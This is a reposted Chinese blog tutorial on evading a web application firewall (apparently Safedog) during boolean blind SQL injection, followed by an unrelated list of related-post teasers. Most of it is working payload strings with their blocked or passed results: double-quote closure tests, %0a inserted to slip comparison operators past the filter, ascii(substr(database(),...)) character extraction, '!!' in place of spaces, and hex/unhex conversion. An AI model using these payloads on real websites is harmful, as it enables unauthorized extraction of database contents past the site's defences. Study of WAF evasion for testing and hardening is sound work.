bypasswaf之盲注

0x00前言前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。0x01与waf的对抗我们来试试常规的注入思路。'单引号不

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言

前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。

0x01  与waf的对抗

 

我们来试试常规的注入思路。

' 单引号   不报错
"  双引号  报错
\  反斜杠   报错

bypasswaf之盲注

 

 

 

这里可以看到报错,爆出了他是以双引号闭合的  加个–+ 看看回显是否正常,正常的话说明他的闭合就是双引号。

bypasswaf之盲注

 

 

 

闭合成功,闭合这一步我个人认为是整个sql注入的精髓,闭合成功离数据还会远嘛?

再来尝试and 1=1 ,因为这个关卡是盲注的  所以直接放弃联合查询。

and 1=1   拦截
and 1       拦截
and  0      拦截
and 'a'='a'   不拦截且正常显示
and 'a'='b'   不拦截且无回显
and -1 =-1   不拦截且正常
and -1=-2    不拦截且无回显

 那么现在我们就可以判断他是存在注入点的。

现在先来截取字符的函数对他的字符进行判断。

 and length(database())>1   拦截
and length(database()) 不拦截
and length(database()) >    不拦截

那么拦截的肯定是大于号和 1之间,那么我们就要对他中间fuzz一下

 

bypasswaf之盲注

 

 

 

and length(database())>%0a10    不拦截且无回显
and length(database())>%0a7     不拦截且回显正常
and length(database())=%0a8      不拦截且回显正常

这时候就可以确定他的数据库名长度是8个字符。要使用到ascii和substr这个函数,获取一个字符然后取他的ascii码,然后拿去转成字符就可以拿到他的数据库名了。

and ascii(substr(database(),1,1))<200   回显正常
and ascii(substr(database(),1,1))<126   正常
and ascii(substr(database(),1,1))<125   错误
and ascii(substr(database(),1,1))=115   正常

这里直接不拦截,可以来一个一个才他的ascii,当然一般会配合burp 直接写等于号 来从100跑到300 ,能有效的省略时间。

后来发现mysql的一个特性可以拿来代替空格。

bypasswaf之盲注

 

 

 

!!and 1=1      执行成功
!!!and 1=1     失败
!!!! and 1=1  执行成功

但是在 注入时候!!!and1=1 会被拦截,那么我们这里可以运用在其他的地方。例如substr 

 

我们还可以灵活运用hex 这个函数例如获取的acsii进行 hex()16的转换,然后再运用unhex来做解密成功绕过。

 

bypasswaf之盲注

 

 

 

bypasswaf之盲注

 

 那么这时候可以可以使用到unhex再进行解密 或者说brup 0-300 再使用hex算法去跑,跑完再进行hex解密。

成功绕过。

0x02    结尾

由于查询字段和表名那些方式绕过方式都是一样的,这里就不给大家做过多的演示,可以自己去尝试。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119976.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 互联网公司职位简介

    互联网公司职位简介互联网公司职位简介

    2022年4月23日
    91
  • C#数组–(一维数组,二维数组的声明,使用及遍历)

    C#数组–(一维数组,二维数组的声明,使用及遍历)数组:是具有相同数据类型的一组数据的集合。数组的每一个的变量称为数组的元素,数组能够容纳元素的数称为数组的长度。一维数组:以线性方式存储固定数目的数组元素,它只需要1个索引值即可标识任意1个数组元素

    2022年7月2日
    23
  • navicat怎么连接远程mysql_navicat可以连接sql server吗

    navicat怎么连接远程mysql_navicat可以连接sql server吗第一,首先能ping通mysql数据库所在的主机。第二,telnetmysql数据库的端口号。如果不行,要在防火墙,高级设置里面,配置入站规则;开放3306端口。第三,如果还不行,结合下面两个网址http://blog.csdn.net/a19881029/article/details/50805562,总结如下:第一步:mysql服务没问

    2022年10月13日
    1
  • translate函数用法_fork函数在循环体中

    translate函数用法_fork函数在循环体中TranslateMessage函数函数功能描述:将虚拟键消息转换为字符消息。字符消息被送到调用线程的消息队列中,在下一次线程调用函数GetMessage或PeekMessage时被读出。.函数原型:   BOOLTranslateMessage( CONSTMSG*lpMsg);.参数:   lpMsg       指向一个含有用GetMessage或PeekMe

    2022年9月12日
    4
  • 什么是POJO类?

    什么是POJO类?POJO 简单的Java对象(PlainOldJavaObjects)实际就是普通JavaBeans,使用POJO名称是为了避免和EJB混淆起来,而且简称比较直接.其中有一些属性及其gettersetter方法的类,有时可以作为valueobject或dto(DataTransformObject)来使用.当然,如果你有一个简单的运算属性也是可以的,但不允许有业务方法,也

    2022年5月28日
    67
  • 最短路径 Dijkstra算法的Matlab代码实现「建议收藏」

    最短路径 Dijkstra算法的Matlab代码实现「建议收藏」%利用dijkstra算法计算两点间的最短路径%A:邻接矩阵%strat:起点编号%dest:终点编号%path:最短路径索引%distence:最短路径下的距离值function[dist,path]=dijkstra(A,start,dest)%测试数据A=[0,12,inf,inf,inf,16,14;12,0,10,inf,inf,7,inf;inf,10,0,3,5,6,inf;inf,inf,3,0,4,inf,inf;inf,inf,5,4,0,2,8;.

    2022年6月22日
    43

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号